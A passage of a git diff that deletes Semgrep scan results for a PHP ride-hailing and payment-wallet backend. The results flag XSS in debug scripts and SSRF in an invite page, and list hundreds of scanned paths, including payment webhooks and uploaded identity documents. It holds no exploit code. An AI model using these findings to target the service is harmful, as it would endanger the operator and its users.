/main/ride/mtn_new/check_status.php","walletintaleq.intaleq.xyz/v2/main/ride/mtn_new/create_mtn_invoice.php","walletintaleq.intaleq.xyz/v2/main/ride/mtn_new/finalize_payment.php","walletintaleq.intaleq.xyz/v2/main/ride/mtn_new/mtn_webhook_handler.php","walletintaleq.intaleq.xyz/v2/main/ride/mtn_new/query_mtn_invoice.php","walletintaleq.intaleq.xyz/v2/main/ride/mtn_new/verify_payment_ai.php","walletintaleq.intaleq.xyz/v2/main/ride/passengerWallet/add.php","walletintaleq.intaleq.xyz/v2/main/ride/passengerWallet/addPaymentTokenPassenger.php","walletintaleq.intaleq.xyz/v2/main/ride/passengerWallet/add_s2s_debt.php","walletintaleq.intaleq.xyz/v2/main/ride/passengerWallet/delete.php","walletintaleq.intaleq.xyz/v2/main/ride/passengerWallet/get.php","walletintaleq.intaleq.xyz/v2/main/ride/passengerWallet/getAllPassengerTransaction.php","walletintaleq.intaleq.xyz/v2/main/ride/passengerWallet/getPassengerWalletArchive.php","walletintaleq.intaleq.xyz/v2/main/ride/passengerWallet/getWalletByPassenger.php","walletintaleq.intaleq.xyz/v2/main/ride/passengerWallet/process_wait_compensation.php","walletintaleq.intaleq.xyz/v2/main/ride/passengerWallet/update.php","walletintaleq.intaleq.xyz/v2/main/ride/payMob/error_log","walletintaleq.intaleq.xyz/v2/main/ride/payMob/payWithPayMob.php","walletintaleq.intaleq.xyz/v2/main/ride/payMob/paymet_verfy.php","walletintaleq.intaleq.xyz/v2/main/ride/payMob/paymet_verfy.php.zip","walletintaleq.intaleq.xyz/v2/main/ride/payMob/paymob_driver/payWithCard.php","walletintaleq.intaleq.xyz/v2/main/ride/payMob/paymob_driver/payWithWallet.php","walletintaleq.intaleq.xyz/v2/main/ride/payMob/paymob_driver/paymet_verfy.php","walletintaleq.intaleq.xyz/v2/main/ride/payMob/paymob_driver/paymob_payout.php","walletintaleq.intaleq.xyz/v2/main/ride/payMob/paymob_driver/paymob_webHookWallet.php","walletintaleq.intaleq.xyz/v2/main/ride/payMob/paymob_driver/paymob_webhook.php","walletintaleq.intaleq.xyz/v2/main/ride/payMob/paymob_webhook.log","walletintaleq.intaleq.xyz/v2/main/ride/payMob/paymob_webhook.php","walletintaleq.intaleq.xyz/v2/main/ride/payMob/wallet/error_log","walletintaleq.intaleq.xyz/v2/main/ride/payMob/wallet/payWithPayMob.php","walletintaleq.intaleq.xyz/v2/main/ride/payMob/wallet/paymet_verfy.php","walletintaleq.intaleq.xyz/v2/main/ride/payMob/wallet/paymob_webhook.php","walletintaleq.intaleq.xyz/v2/main/ride/payment/add.php","walletintaleq.intaleq.xyz/v2/main/ride/payment/delete.php","walletintaleq.intaleq.xyz/v2/main/ride/payment/get.php","walletintaleq.intaleq.xyz/v2/main/ride/payment/getAllPayment.php","walletintaleq.intaleq.xyz/v2/main/ride/payment/getAllPaymentVisa.php","walletintaleq.intaleq.xyz/v2/main/ride/payment/getCountRide.php","walletintaleq.intaleq.xyz/v2/main/ride/payment/process_ride_payments.php","walletintaleq.intaleq.xyz/v2/main/ride/payment/update.php","walletintaleq.intaleq.xyz/v2/main/ride/payment/updatePaymetToPaid.php","walletintaleq.intaleq.xyz/v2/main/ride/shamcash/check_status.php","walletintaleq.intaleq.xyz/v2/main/ride/shamcash/create_invoice_shamcash.php","walletintaleq.intaleq.xyz/v2/main/ride/shamcash/deposit_errors.log","walletintaleq.intaleq.xyz/v2/main/ride/shamcash/finalize_deposit.php","walletintaleq.intaleq.xyz/v2/main/ride/shamcash/last_id.txt","walletintaleq.intaleq.xyz/v2/main/ride/shamcash/passenger/check_status.php","walletintaleq.intaleq.xyz/v2/main/ride/shamcash/passenger/create_invoice.php","walletintaleq.intaleq.xyz/v2/main/ride/shamcash/passenger/finalize_deposit.php","walletintaleq.intaleq.xyz/v2/main/ride/shamcash/save_transactions.php","walletintaleq.intaleq.xyz/v2/main/ride/shamcash/save_transactions_new.php","walletintaleq.intaleq.xyz/v2/main/ride/shamcash/server_check.php","walletintaleq.intaleq.xyz/v2/main/ride/shamcash/transactions.log","walletintaleq.intaleq.xyz/v2/main/ride/siroWallet/add.php","walletintaleq.intaleq.xyz/v2/main/ride/siroWallet/get.php","walletintaleq.intaleq.xyz/v2/main/ride/syriatel/archive.zip","walletintaleq.intaleq.xyz/v2/main/ride/syriatel/driver/confirm_payment.php","walletintaleq.intaleq.xyz/v2/main/ride/syriatel/driver/finalize_wallet_payment.php","walletintaleq.intaleq.xyz/v2/main/ride/syriatel/driver/start_payment.php","walletintaleq.intaleq.xyz/v2/main/ride/syriatel/driver/syriatel_token_handler.php","walletintaleq.intaleq.xyz/v2/main/ride/syriatel/logs/payment_verification.log","walletintaleq.intaleq.xyz/v2/main/ride/syriatel/passenger/confirm_payment.php","walletintaleq.intaleq.xyz/v2/main/ride/syriatel/passenger/start_payment.php","walletintaleq.intaleq.xyz/v2/main/ride/syriatel/passenger/syriatel_token.cache","walletintaleq.intaleq.xyz/v2/main/ride/syriatel/passenger/syriatel_token_handler.php","walletintaleq.intaleq.xyz/v2/main/ride/tips/add.php","walletintaleq.intaleq.xyz/v2/main/ride/tips/get.php","walletintaleq.intaleq.xyz/v2/main/sms_webhook/archive.zip","walletintaleq.intaleq.xyz/v2/main/sms_webhook/check_invoice_status.php","walletintaleq.intaleq.xyz/v2/main/sms_webhook/check_invoice_status_passenger.php","walletintaleq.intaleq.xyz/v2/main/sms_webhook/create_invoice.php","walletintaleq.intaleq.xyz/v2/main/sms_webhook/create_invoice_passenger.php","walletintaleq.intaleq.xyz/v2/main/sms_webhook/finalize_payout.php","walletintaleq.intaleq.xyz/v2/main/sms_webhook/finalize_wallet_payment.php","walletintaleq.intaleq.xyz/v2/main/sms_webhook/process_passenger_sms_payment.php","walletintaleq.intaleq.xyz/v2/main/sms_webhook/process_with_gemini.php","walletintaleq.intaleq.xyz/v2/main/sms_webhook/request_payout.php","walletintaleq.intaleq.xyz/v2/main/sms_webhook/save_raw_sms.php","walletintaleq.intaleq.xyz/v2/main/sms_webhook/save_raw_sms_passenger.php","walletintaleq.intaleq.xyz/v2/main/sms_webhook/webhook.php"]},"time":{"rules":[],"rules_parse_time":0.10977911949157715,"profiling_times":{"config_time":1.05698823928833,"core_time":6.532242059707642,"ignores_time":0.00028014183044433594,"total_time":7.603438138961792},"parsing_time":{"total_time":0.0,"per_file_time":{"mean":0.0,"std_dev":0.0},"very_slow_stats":{"time_ratio":0.0,"count_ratio":0.0},"very_slow_files":[]},"scanning_time":{"total_time":20.893765926361084,"per_file_time":{"mean":0.01829576701082405,"std_dev":0.004070237342058577},"very_slow_stats":{"time_ratio":0.0,"count_ratio":0.0},"very_slow_files":[]},"matching_time":{"total_time":0.0,"per_file_and_rule_time":{"mean":0.0,"std_dev":0.0},"very_slow_stats":{"time_ratio":0.0,"count_ratio":0.0},"very_slow_rules_on_files":[]},"tainting_time":{"total_time":0.0,"per_def_and_rule_time":{"mean":0.0,"std_dev":0.0},"very_slow_stats":{"time_ratio":0.0,"count_ratio":0.0},"very_slow_rules_on_defs":[]},"fixpoint_timeouts":[],"prefiltering":{"project_level_time":0.0,"file_level_time":0.0,"rules_with_project_prefilters_ratio":0.0,"rules_with_file_prefilters_ratio":0.9993387215282881,"rules_selected_ratio":0.05569434239529757,"rules_matched_ratio":0.05569434239529757},"targets":[],"total_bytes":0,"max_memory_bytes":669419328},"engine_requested":"OSS","skipped_rules":[],"profiling_results":[]} \ No newline at end of file diff --git a/semgrep_php_results.json b/semgrep_php_results.json deleted file mode 100644 index a82bb90..0000000 --- a/semgrep_php_results.json +++ /dev/null @@ -1 +0,0 @@ -{"version":"1.166.0","results":[{"check_id":"php.lang.security.injection.echoed-request.echoed-request","path":"backend/Admin/debug/ggg.php","start":{"line":67,"col":5,"offset":2058},"end":{"line":71,"col":8,"offset":2182},"extra":{"message":"`Echo`ing user input risks cross-site scripting vulnerability. You should use `htmlentities()` when showing data to users.","fix":"echo htmlentities(json_encode([\n 'status' => 'success',\n 'action' => $action,\n 'result' => (string) $result,\n ]));","metadata":{"technology":["php"],"cwe":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')"],"owasp":["A07:2017 - Cross-Site Scripting (XSS)","A03:2021 - Injection","A05:2025 - Injection"],"category":"security","references":["https://www.php.net/manual/en/function.htmlentities.php","https://www.php.net/manual/en/reserved.variables.request.php","https://www.php.net/manual/en/reserved.variables.post.php","https://www.php.net/manual/en/reserved.variables.get.php","https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html"],"cwe2022-top25":true,"cwe2021-top25":true,"subcategory":["vuln"],"likelihood":"MEDIUM","impact":"MEDIUM","confidence":"MEDIUM","license":"Semgrep Rules License v1.0. For more details, visit semgrep.dev/legal/rules-license","vulnerability_class":["Cross-Site-Scripting (XSS)"],"source":"https://semgrep.dev/r/php.lang.security.injection.echoed-request.echoed-request","shortlink":"https://sg.run/Bqqb"},"severity":"ERROR","fingerprint":"requires login","lines":"requires login","validation_state":"NO_VALIDATOR","engine_kind":"OSS"}},{"check_id":"php.lang.security.injection.echoed-request.echoed-request","path":"backend/ggg.php","start":{"line":67,"col":5,"offset":2058},"end":{"line":71,"col":8,"offset":2182},"extra":{"message":"`Echo`ing user input risks cross-site scripting vulnerability. You should use `htmlentities()` when showing data to users.","fix":"echo htmlentities(json_encode([\n 'status' => 'success',\n 'action' => $action,\n 'result' => (string) $result,\n ]));","metadata":{"technology":["php"],"cwe":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')"],"owasp":["A07:2017 - Cross-Site Scripting (XSS)","A03:2021 - Injection","A05:2025 - Injection"],"category":"security","references":["https://www.php.net/manual/en/function.htmlentities.php","https://www.php.net/manual/en/reserved.variables.request.php","https://www.php.net/manual/en/reserved.variables.post.php","https://www.php.net/manual/en/reserved.variables.get.php","https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html"],"cwe2022-top25":true,"cwe2021-top25":true,"subcategory":["vuln"],"likelihood":"MEDIUM","impact":"MEDIUM","confidence":"MEDIUM","license":"Semgrep Rules License v1.0. For more details, visit semgrep.dev/legal/rules-license","vulnerability_class":["Cross-Site-Scripting (XSS)"],"source":"https://semgrep.dev/r/php.lang.security.injection.echoed-request.echoed-request","shortlink":"https://sg.run/Bqqb"},"severity":"ERROR","fingerprint":"requires login","lines":"requires login","validation_state":"NO_VALIDATOR","engine_kind":"OSS"}},{"check_id":"php.lang.security.injection.tainted-filename.tainted-filename","path":"siromove.com/invite.php","start":{"line":43,"col":43,"offset":1488},"end":{"line":43,"col":73,"offset":1518},"extra":{"message":"File name based on user input risks server-side request forgery.","metadata":{"technology":["php"],"category":"security","cwe":["CWE-918: Server-Side Request Forgery (SSRF)"],"owasp":["A10:2021 - Server-Side Request Forgery (SSRF)","A01:2025 - Broken Access Control"],"references":["https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29"],"cwe2022-top25":true,"cwe2021-top25":true,"subcategory":["vuln"],"impact":"MEDIUM","likelihood":"MEDIUM","confidence":"MEDIUM","license":"Semgrep Rules License v1.0. For more details, visit semgrep.dev/legal/rules-license","vulnerability_class":["Server-Side Request Forgery (SSRF)"],"source":"https://semgrep.dev/r/php.lang.security.injection.tainted-filename.tainted-filename","shortlink":"https://sg.run/Ayqp"},"severity":"WARNING","fingerprint":"requires login","lines":"requires login","validation_state":"NO_VALIDATOR","engine_kind":"OSS"}}],"errors":[{"code":3,"level":"warn","type":["PartialParsing",[{"path":"backend/EgyptDocuments/uploadEgyptIdBack.php","start":{"line":16,"col":24,"offset":0},"end":{"line":16,"col":25,"offset":1}},{"path":"backend/EgyptDocuments/uploadEgyptIdBack.php","start":{"line":16,"col":30,"offset":0},"end":{"line":16,"col":31,"offset":1}}]],"message":"Syntax error at line backend/EgyptDocuments/uploadEgyptIdBack.php:16:\n `'` was unexpected","path":"backend/EgyptDocuments/uploadEgyptIdBack.php","spans":[{"file":"backend/EgyptDocuments/uploadEgyptIdBack.php","start":{"line":16,"col":24,"offset":0},"end":{"line":16,"col":25,"offset":1}},{"file":"backend/EgyptDocuments/uploadEgyptIdBack.php","start":{"line":16,"col":30,"offset":0},"end":{"line":16,"col":31,"offset":1}}]},{"code":3,"level":"warn","type":["PartialParsing",[{"path":"backend/EgyptDocuments/uploadEgyptidFront.php","start":{"line":16,"col":24,"offset":0},"end":{"line":16,"col":25,"offset":1}},{"path":"backend/EgyptDocuments/uploadEgyptidFront.php","start":{"line":16,"col":30,"offset":0},"end":{"line":16,"col":31,"offset":1}}]],"message":"Syntax error at line backend/EgyptDocuments/uploadEgyptidFront.php:16:\n `'` was unexpected","path":"backend/EgyptDocuments/uploadEgyptidFront.php","spans":[{"file":"backend/EgyptDocuments/uploadEgyptidFront.php","start":{"line":16,"col":24,"offset":0},"end":{"line":16,"col":25,"offset":1}},{"file":"backend/EgyptDocuments/uploadEgyptidFront.php","start":{"line":16,"col":30,"offset":0},"end":{"line":16,"col":31,"offset":1}}]},{"code":3,"level":"warn","type":["PartialParsing",[{"path":"backend/auth/syria/uploadSyrianDocs.php","start":{"line":57,"col":24,"offset":0},"end":{"line":57,"col":25,"offset":1}},{"path":"backend/auth/syria/uploadSyrianDocs.php","start":{"line":57,"col":29,"offset":0},"end":{"line":57,"col":30,"offset":1}}]],"message":"Syntax error at line backend/auth/syria/uploadSyrianDocs.php:57:\n `'` was unexpected","path":"backend/auth/syria/uploadSyrianDocs.php","spans":[{"file":"backend/auth/syria/uploadSyrianDocs.php","start":{"line":57,"col":24,"offset":0},"end":{"line":57,"col":25,"offset":1}},{"file":"backend/auth/syria/uploadSyrianDocs.php","start":{"line":57,"col":29,"offset":0},"end":{"line":57,"col":30,"offset":1}}]},{"code":3,"level":"warn","type":["PartialParsing",[{"path":"backend/ride/card-image-driver/add.php","start":{"line":19,"col":24,"offset":0},"end":{"line":19,"col":25,"offset":1}},{"path":"backend/ride/card-image-driver/add.php","start":{"line":19,"col":30,"offset":0},"end":{"line":19,"col":31,"offset":1}}]],"message":"Syntax error at line backend/ride/card-image-driver/add.php:19:\n `'` was unexpected","path":"backend/ride/card-image-driver/add.php","spans":[{"file":"backend/ride/card-image-driver/add.php","start":{"line":19,"col":24,"offset":0},"end":{"line":19,"col":25,"offset":1}},{"file":"backend/ride/card-image-driver/add.php","start":{"line":19,"col":30,"offset":0},"end":{"line":19,"col":31,"offset":1}}]},{"code":3,"level":"warn","type":["PartialParsing",[{"path":"backend/uploadImagePortrate.php","start":{"line":14,"col":28,"offset":0},"end":{"line":14,"col":29,"offset":1}},{"path":"backend/uploadImagePortrate.php","start":{"line":14,"col":34,"offset":0},"end":{"line":14,"col":35,"offset":1}}]],"message":"Syntax error at line backend/uploadImagePortrate.php:14:\n `'` was unexpected","path":"backend/uploadImagePortrate.php","spans":[{"file":"backend/uploadImagePortrate.php","start":{"line":14,"col":28,"offset":0},"end":{"line":14,"col":29,"offset":1}},{"file":"backend/uploadImagePortrate.php","start":{"line":14,"col":34,"offset":0},"end":{"line":14,"col":35,"offset":1}}]}],"paths":{"scanned":["backend/.env.example","backend/.gitignore","backend/Admin/AdminCaptain/add.php","backend/Admin/AdminCaptain/delete.php","backend/Admin/AdminCaptain/get.php","backend/Admin/AdminCaptain/getCaptainDetailsByEmailOrIDOrPhone.php","backend/Admin/AdminCaptain/getCaptainDetailsById.php","backend/Admin/AdminCaptain/getDriversPhonesAndTokens.php","backend/Admin/AdminCaptain/update.php","backend/Admin/AdminRide/get.php","backend/Admin/AdminRide/getRidesPerMonth.php","backend/Admin/Staff/activate.php","backend/Admin/Staff/add.php","backend/Admin/Staff/pending.php","backend/Admin/Staff/setup.php","backend/Admin/adminUser/add.php","backend/Admin/adminUser/add_invoice.php","backend/Admin/adminUser/delete.php","backend/Admin/adminUser/get.php","backend/Admin/adminUser/invoice_images/INV-20250729-224_123.jpg","backend/Admin/adminUser/invoice_images/INV-20250729-592_123.jpg","backend/Admin/adminUser/invoice_images/INV-20250810-859_123.jpg","backend/Admin/adminUser/invoice_total.php","backend/Admin/adminUser/update.php","backend/Admin/auth/approve_admin.php","backend/Admin/auth/list_pending.php","backend/Admin/auth/login.php","backend/Admin/auth/loginWallet.php","backend/Admin/auth/migrate_db.php","backend/Admin/auth/migration_cryptography.php","backend/Admin/auth/register.php","backend/Admin/auth/send_otp_admin.php","backend/Admin/auth/verify_login.php","backend/Admin/auth/verify_otp_admin.php","backend/Admin/dashbord.php","backend/Admin/debug/.htaccess","backend/Admin/debug/check_driver_phones.php","backend/Admin/debug/check_users_cols.php","backend/Admin/debug/debug_phone.php","backend/Admin/debug/env_test.php","backend/Admin/debug/ggg.php","backend/Admin/debug/scratch_db_check.php","backend/Admin/debug/scratch_log_path.php","backend/Admin/debug/scratch_test_find.php","backend/Admin/debug/scratch_test_redis.php","backend/Admin/driver/deleteCaptain.php","backend/Admin/driver/deleteRecord.php","backend/Admin/driver/find_driver_by_phone.php","backend/Admin/driver/getBestDriver.php","backend/Admin/driver/getDriverGiftPayment.php","backend/Admin/driver/remove_from_blacklist.php","backend/Admin/driver/updateDriverFromAdmin.php","backend/Admin/employee/add.php","backend/Admin/employee/get.php","backend/Admin/error/error_list_last20.php","backend/Admin/error/error_search_by_phone.php","backend/Admin/errorApp.php","backend/Admin/facebook.php","backend/Admin/getPassengerDetails.php","backend/Admin/getPassengerDetailsByPassengerID.php","backend/Admin/getPassengerbyEmail.php","backend/Admin/getVisaForEachDriver.php","backend/Admin/ggg.php","backend/Admin/jwtService.php","backend/Admin/passenger/admin_delete_and_blacklist_passenger.php","backend/Admin/passenger/admin_unblacklist.php","backend/Admin/passenger/admin_update_passenger.php","backend/Admin/rides/admin_get_rides_by_phone.php","backend/Admin/rides/admin_update_ride_status.php","backend/Admin/rides/get_driver_live_pos.php","backend/Admin/rides/get_rides_by_status.php","backend/Admin/rides/monitorRide.php","backend/Admin/sendEmailToDrivertransaction.php","backend/Admin/send_whatsapp_message.php","backend/Admin/v2/analytics/driver_ranking.php","backend/Admin/v2/analytics/growth.php","backend/Admin/v2/analytics/revenue.php","backend/Admin/v2/financial/settlements.php","backend/Admin/v2/financial/stats.php","backend/Admin/v2/quality/blacklist_manager.php","backend/Admin/v2/quality/driver_scorecard.php","backend/Admin/v2/realtime_dashboard.php","backend/Admin/v2/security/audit_logs.php","backend/Admin/v2/smart_alerts.php","backend/Admin/view_errors.php","backend/EgyptDocuments/uploadEgyptIdBack.php","backend/EgyptDocuments/uploadEgyptidFront.php","backend/aggregate_files.py","backend/auth/Tester/getTesterApp.php","backend/auth/Tester/updateTesterApp.php","backend/auth/captin/addCriminalDocuments.php","backend/auth/captin/deletecaptainAccounr.php","backend/auth/captin/getAccount.php","backend/auth/captin/getPromptDriverDocumentsEgypt.php","backend/auth/captin/login.php","backend/auth/captin/loginFromGoogle.php","backend/auth/captin/loginUsingCredentialsWithoutGoogle.php","backend/auth/captin/removeAccount.php","backend/auth/captin/updateAccountBank.php","backend/auth/captin/updateDriverClaim.php","backend/auth/captin/updateShamCashDriver.php","backend/auth/checkPhoneNumberISVerfiedDriver.php","backend/auth/checkPhoneNumberISVerfiedPassenger.php","backend/auth/document_syria/ai_document.php","backend/auth/login.php","backend/auth/loginFromGooglePassenger.php","backend/auth/loginUsingCredentialsWithoutGooglePassenger.php","backend/auth/otp/providers.php","backend/auth/otp/request.php","backend/auth/otp/verify.php","backend/auth/packageInfo.php","backend/auth/passengerRemovedAccountEmail.php","backend/auth/save_passenger_location.php","backend/auth/sendEmail.php","backend/auth/sendVerifyEmail.php","backend/auth/signup.php","backend/auth/syria/driver/driver_details.php","backend/auth/syria/driver/drivers_pending_list.php","backend/auth/syria/driver/isPhoneVerified.php","backend/auth/syria/driver/register_driver_and_car.php","backend/auth/syria/driver/register_driver_and_car_signed.php","backend/auth/syria/register_passenger.php","backend/auth/syria/uploadSyrianDocs.php","backend/auth/token_passenger/driver/send_otp_driver.php","backend/auth/token_passenger/driver/verify_otp_driver.php","backend/auth/token_passenger/send_otp.php","backend/auth/token_passenger/verify_otp.php","backend/auth/uploads/documents/driver_driving_license_sy_back_34feffd3fa72d6bee56b.jpg","backend/auth/uploads/documents/driver_driving_license_sy_back_eddfdfdgfd.jpg","backend/auth/uploads/documents/driver_driving_license_sy_front_34feffd3fa72d6bee56b.jpg","backend/auth/uploads/documents/driver_driving_license_sy_front_eddfdfdgfd.jpg","backend/auth/uploads/documents/driver_generic_unknown.jpg","backend/auth/uploads/documents/driver_id_back_sy_34feffd3fa72d6bee56b.jpg","backend/auth/uploads/documents/driver_id_back_sy_eddfdfdgfd.jpg","backend/auth/uploads/documents/driver_id_front_sy_34feffd3fa72d6bee56b.jpg","backend/auth/uploads/documents/driver_id_front_sy_eddfdfdgfd.jpg","backend/auth/uploads/documents/driver_vehicle_license_sy_back_34feffd3fa72d6bee56b.jpg","backend/auth/uploads/documents/driver_vehicle_license_sy_back_eddfdfdgfd.jpg","backend/auth/uploads/documents/driver_vehicle_license_sy_front_34feffd3fa72d6bee56b.jpg","backend/auth/uploads/documents/driver_vehicle_license_sy_front_eddfdfdgfd.jpg","backend/auth/verifyEmail.php","backend/card_image/criminalRecord-1b73bad5ed4f147d688e.jpg","backend/card_image/idFrontEmployee-795C0P4Z.jpg","backend/card_image/idFrontEmployee-AYZHXEIE.jpg","backend/card_image/idbackEmployee-795C0P4Z.jpg","backend/card_image/idbackEmployee-AYZHXEIE.jpg","backend/composer.json","backend/composer.lock","backend/connect.php","backend/core/Auth/JwtService.php","backend/core/Auth/RateLimiter.php","backend/core/Database/Database.php","backend/core/Security/EncryptionHelper.php","backend/core/Services/FcmService.php","backend/core/Services/OtpService.php","backend/core/bootstrap.php","backend/core/helpers.php","backend/driver_assurance/add.php","backend/driver_assurance/get.php","backend/driver_assurance/update.php","backend/driver_socket.php","backend/email/sendTripEmail.php","backend/encrypt_decrypt.php","backend/functions.php","backend/get_connect.php","backend/ggg.php","backend/git_push.sh","backend/imageForUsingApp/order_page.jpg","backend/instructions_web/animation.mp4","backend/instructions_web/delete_account.html","backend/instructions_web/logo.gif","backend/instructions_web/logo.png","backend/intaleq_v1.code-workspace","backend/invest_code.php","backend/load_env.php","backend/login.php","backend/loginAdmin.php","backend/loginFirstTime.php","backend/loginFirstTimeDriver.php","backend/loginJwtDriver.php","backend/loginJwtWalletDriver.php","backend/loginWallet.php","backend/logout.php","backend/migrate_driver_passwords.php","backend/migration/get_all_driver_fingerprints.php","backend/migration/get_all_fingerprints.php","backend/migration/update_driver_fingerprint_admin.php","backend/migration/update_fingerprint_admin.php","backend/migration_create_table.php","backend/migration_referral_system.sql","backend/new_driver_car/100221243420413735049.jpg","backend/new_driver_car/100276066669243532075.jpg","backend/new_driver_car/105897591838899631737.jpg","backend/new_driver_car/114243034311436865474.jpg","backend/new_driver_car/mahmoudcici40FGH4MCQC3fd.jpg","backend/passenger_socket.php","backend/privacy_policy.php","backend/privacy_policy1.php","backend/ride/RegisrationCar/add.php","backend/ride/RegisrationCar/delete.php","backend/ride/RegisrationCar/get.php","backend/ride/RegisrationCar/makeDefaultCar.php","backend/ride/RegisrationCar/selectDriverAndCarForMishwariTrip.php","backend/ride/RegisrationCar/update.php","backend/ride/apiKey/add.php","backend/ride/apiKey/delete.php","backend/ride/apiKey/get.php","backend/ride/apiKey/update.php","backend/ride/call/driver/create_call_session.php","backend/ride/call/passenger/create_call_session.php","backend/ride/cancelRide/add.php","backend/ride/cancelRide/addCancelTripFromDriverAfterApplied.php","backend/ride/cancelRide/delete.php","backend/ride/cancelRide/get.php","backend/ride/cancelRide/update.php","backend/ride/carDrivers/add.php","backend/ride/carDrivers/delete.php","backend/ride/carDrivers/get.php","backend/ride/card-image-driver/add.php","backend/ride/card-image-driver/delete.php","backend/ride/card-image-driver/get.php","backend/ride/card-image-driver/update.php","backend/ride/chat/send_message.php","backend/ride/driverWallet/driverStatistic.php","backend/ride/driverWallet/getDriverDetails.php","backend/ride/driverWallet/transfer.php","backend/ride/driver_behavior/get_driver_behavior.php","backend/ride/driver_order/add.php","backend/ride/driver_order/delete.php","backend/ride/driver_order/get.php","backend/ride/driver_order/getOrderCancelStatus.php","backend/ride/driver_order/update.php","backend/ride/driver_scam/add.php","backend/ride/driver_scam/delete.php","backend/ride/driver_scam/get.php","backend/ride/driver_scam/update.php","backend/ride/egyptPhones/add.php","backend/ride/egyptPhones/get.php","backend/ride/egyptPhones/syrianAdd.php","backend/ride/feedBack/add.php","backend/ride/feedBack/add_solve_all.php","backend/ride/feedBack/delete.php","backend/ride/feedBack/get.php","backend/ride/feedBack/update.php","backend/ride/firebase/add.php","backend/ride/firebase/addDriver.php","backend/ride/firebase/addToken.php","backend/ride/firebase/delete.php","backend/ride/firebase/fcm_fun.php","backend/ride/firebase/get.php","backend/ride/firebase/getALlTokenDrivers.php","backend/ride/firebase/getAllTokenPassengers.php","backend/ride/firebase/getDriverToken.php","backend/ride/firebase/getTokenParent.php","backend/ride/firebase/getTokensPassenger.php","backend/ride/firebase/notify_driver_arrival.php","backend/ride/firebase/send_fcm.php","backend/ride/gamification/claimChallengeReward.php","backend/ride/gamification/getDriverBehavior.php","backend/ride/gamification/getGamificationDashboard.php","backend/ride/gamification/getLeaderboard.php","backend/ride/gamification/getReferralStats.php","backend/ride/gamification/getWeeklyAggregate.php","backend/ride/helpCenter/add.php","backend/ride/helpCenter/delete.php","backend/ride/helpCenter/get.php","backend/ride/helpCenter/getById.php","backend/ride/helpCenter/update.php","backend/ride/invitor/add.php","backend/ride/invitor/addInvitationPassenger.php","backend/ride/invitor/add_unified_invite.php","backend/ride/invitor/claim.php","backend/ride/invitor/claim_driver_reward.php","backend/ride/invitor/get.php","backend/ride/invitor/getDriverInvitationToPassengers.php","backend/ride/invitor/get_driver_referrals.php","backend/ride/invitor/get_passenger_referrals.php","backend/ride/invitor/get_unified_code.php","backend/ride/invitor/update.php","backend/ride/invitor/updateDriverInvitationDirectly.php","backend/ride/invitor/updateInvitationCodeFromRegister.php","backend/ride/invitor/updatePassengerGift.php","backend/ride/invitor/updatePassengersInvitation.php","backend/ride/kazan/add.php","backend/ride/kazan/delete.php","backend/ride/kazan/get.php","backend/ride/kazan/update.php","backend/ride/license/add.php","backend/ride/license/delete.php","backend/ride/license/get.php","backend/ride/license/update.php","backend/ride/location/add.php","backend/ride/location/addpassengerLocation.php","backend/ride/location/delete.php","backend/ride/location/driversTime.html","backend/ride/location/get.php","backend/ride/location/getBalash.php","backend/ride/location/getCarsLocationByPassengerVan.php","backend/ride/location/getComfort.php","backend/ride/location/getDelivery.php","backend/ride/location/getDriverCarsLocationToPassengerAfterApplied.php","backend/ride/location/getDriverTimeOnline.php","backend/ride/location/getElectric.php","backend/ride/location/getFemalDriver.php","backend/ride/location/getLatestLocationPassenger.php","backend/ride/location/getLocationParents.php","backend/ride/location/getPinkBike.php","backend/ride/location/getRidesDriverByDay.php","backend/ride/location/getSpeed.php","backend/ride/location/getTotalDriverDuration.php","backend/ride/location/getTotalDriverDurationToday.php","backend/ride/location/getUpdatedLocationForAdmin.php","backend/ride/location/get_location_area_links.php","backend/ride/location/getfemalbehavior.php","backend/ride/location/print.php","backend/ride/location/save_behavior.php","backend/ride/location/update.php","backend/ride/mishwari/add.php","backend/ride/mishwari/cancel.php","backend/ride/mishwari/get.php","backend/ride/mishwari/getDriver.php","backend/ride/mishwari/test.php","backend/ride/notificationCaptain/add.php","backend/ride/notificationCaptain/addWaitingRide.php","backend/ride/notificationCaptain/delete.php","backend/ride/notificationCaptain/deleteAvailableRide.php","backend/ride/notificationCaptain/get.php","backend/ride/notificationCaptain/getRideWaiting.php","backend/ride/notificationCaptain/update.php","backend/ride/notificationCaptain/updateWaitingTrip.php","backend/ride/notificationPassenger/add.php","backend/ride/notificationPassenger/delete.php","backend/ride/notificationPassenger/get.php","backend/ride/notificationPassenger/update.php","backend/ride/overLay/_log.txt","backend/ride/overLay/add.php","backend/ride/overLay/deletArgumets.php","backend/ride/overLay/get.php","backend/ride/overLay/getArgumentAfterAppliedFromBackground.php","backend/ride/places/add.php","backend/ride/places_syria/add.php","backend/ride/places_syria/get.php","backend/ride/places_syria/reverse_geocode.php","backend/ride/pricing/get.php","backend/ride/profile/get.php","backend/ride/profile/getCaptainProfile.php","backend/ride/profile/update.php","backend/ride/profile/updateDriverEmail.php","backend/ride/promo/add.php","backend/ride/promo/delete.php","backend/ride/promo/get.php","backend/ride/promo/getPromoBytody.php","backend/ride/promo/getPromoFirst.php","backend/ride/promo/update.php","backend/ride/rate/add.php","backend/ride/rate/addRateToDriver.php","backend/ride/rate/add_rate_app.php","backend/ride/rate/getDriverRate.php","backend/ride/rate/getPassengerRate.php","backend/ride/rate/sendEmailRateingApp.php","backend/ride/rides/acceptRide.php","backend/ride/rides/add_ride.php","backend/ride/rides/arrive_ride.php","backend/ride/rides/cancelRideFromDriver.php","backend/ride/rides/cancel_ride_by_driver.php","backend/ride/rides/cancel_ride_by_passenger.php","backend/ride/rides/cron_ride_timeout.php","backend/ride/rides/delete.php","backend/ride/rides/emailToPassengerTripDetail.php","backend/ride/rides/finish_ride_updates.php","backend/ride/rides/get.php","backend/ride/rides/getRealTimeHeatmap.php","backend/ride/rides/getRideOrderID.php","backend/ride/rides/getRideOrderIDNew.php","backend/ride/rides/getRideStatus.php","backend/ride/rides/getRideStatusBegin.php","backend/ride/rides/getRideStatusFromStartApp.php","backend/ride/rides/getTripCountByCaptain.php","backend/ride/rides/get_driver_location.php","backend/ride/rides/gterideForDriverManyTime.php","backend/ride/rides/heatmap_live.json","backend/ride/rides/public_track_location.php","backend/ride/rides